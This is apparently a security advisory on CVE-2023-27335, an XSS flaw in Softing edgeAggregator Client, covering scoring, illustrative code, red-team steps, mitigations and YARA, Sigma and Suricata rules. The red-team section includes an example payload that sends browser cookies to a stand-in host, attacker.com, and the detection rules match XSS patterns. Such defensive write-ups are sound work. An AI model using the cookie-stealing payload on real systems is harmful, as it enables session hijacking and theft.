CVE-2023-27335

Executive Summary

CVE-2023-27335 is a critical Cross-Site Scripting (XSS) vulnerability in Softing edgeAggregator Client that can lead to Remote Code Execution (RCE) in the context of root. The flaw exists due to improper validation of user-supplied input parameters, allowing an attacker to inject arbitrary scripts. Exploitation requires user interaction (e.g., visiting a malicious page or opening a malicious file). The vulnerability has a CVSS score of 8.8 (High) and is currently unpatched. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary industrial software component (Softing edgeAggregator Client). No open-source package or supply chain implications have been identified.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability allows an attacker to execute arbitrary code as root, but requires user interaction. Given the lack of patch and low EPSS, the immediate threat is moderate but could escalate if PoC is released.

Deep Dive & Mechanics

The vulnerability resides in the Softing edgeAggregator Client, which is used for industrial data aggregation and monitoring. The client fails to properly sanitize user-supplied input parameters, leading to stored or reflected XSS. An attacker can craft a malicious URL or file that, when processed by the client, injects arbitrary JavaScript or HTML. This script can then be used to steal session tokens, perform actions on behalf of the user, or—when combined with other vulnerabilities—execute arbitrary code with root privileges.

The specific flaw (ZDI-CAN-20504) was reported via the Zero Day Initiative. The root cause is the lack of output encoding or input validation in the client's handling of parameters, allowing script injection.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code likely resembles:

// Vulnerable: Directly using user input without sanitization
function processInput(param) {
    document.getElementById('output').innerHTML = param;
}

A patched version would sanitize the input:

// Patched: Sanitize input before rendering
function processInput(param) {
    var sanitized = DOMPurify.sanitize(param);
    document.getElementById('output').innerHTML = sanitized;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Softing edgeAggregator Client installed (any version)
• Target user must visit a malicious page or open a malicious file

Exploitation Steps:

1. Craft a malicious URL or file containing an XSS payload, e.g.:

   <script>alert('XSS')</script>
   

2. Deliver the payload via phishing email or social engineering.
3. When the target interacts with the payload, the script executes in the context of the client.
4. Use the XSS to escalate to RCE by exploiting other vulnerabilities (e.g., local privilege escalation).

Example Payload:

<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">

Blue Team

Detection:

• Monitor for unusual outbound connections from the edgeAggregator Client.
• Inspect web traffic for suspicious parameters containing script tags.
• Use endpoint detection to flag processes spawning from the client.

Mitigation:

• Isolate the client in a sandboxed environment.
• Apply strict Content Security Policy (CSP) headers if possible.
• Disable JavaScript execution in the client if not required.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP/HTTPS requests to unknown IPs from the edgeAggregator Client.
• File: Presence of malicious HTML/JS files in temporary directories.
• Process: Unusual child processes spawned by edgeAggregator.exe or similar.
• Registry: Unauthorized modifications to client settings.

Detection Engineering

YARA Rule

rule CVE_2023_27335_XSS {
    meta:
        description = "Detects XSS payloads targeting Softing edgeAggregator Client"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-27335"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of them
}

Sigma Rule

title: Suspicious XSS Payload in Softing edgeAggregator Client
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attacks against Softing edgeAggregator Client
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\edgeAggregator.exe'
        CommandLine|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in client configuration
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-27335 XSS Attempt"; flow:to_server; content:"<script"; nocase; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

• Disable or restrict access to the Softing edgeAggregator Client until a patch is available.
• Implement network segmentation to limit exposure.
• Educate users about phishing risks and malicious files.

Long-term:

• Monitor vendor advisories for patches.
• Consider using a web application firewall (WAF) to filter XSS payloads.
• Apply the principle of least privilege to the client process.

Workarounds:

• Use a proxy to inspect and sanitize all input to the client.
• Disable scripting capabilities in the client if possible.

Valters IT
Securing Digital Frontiers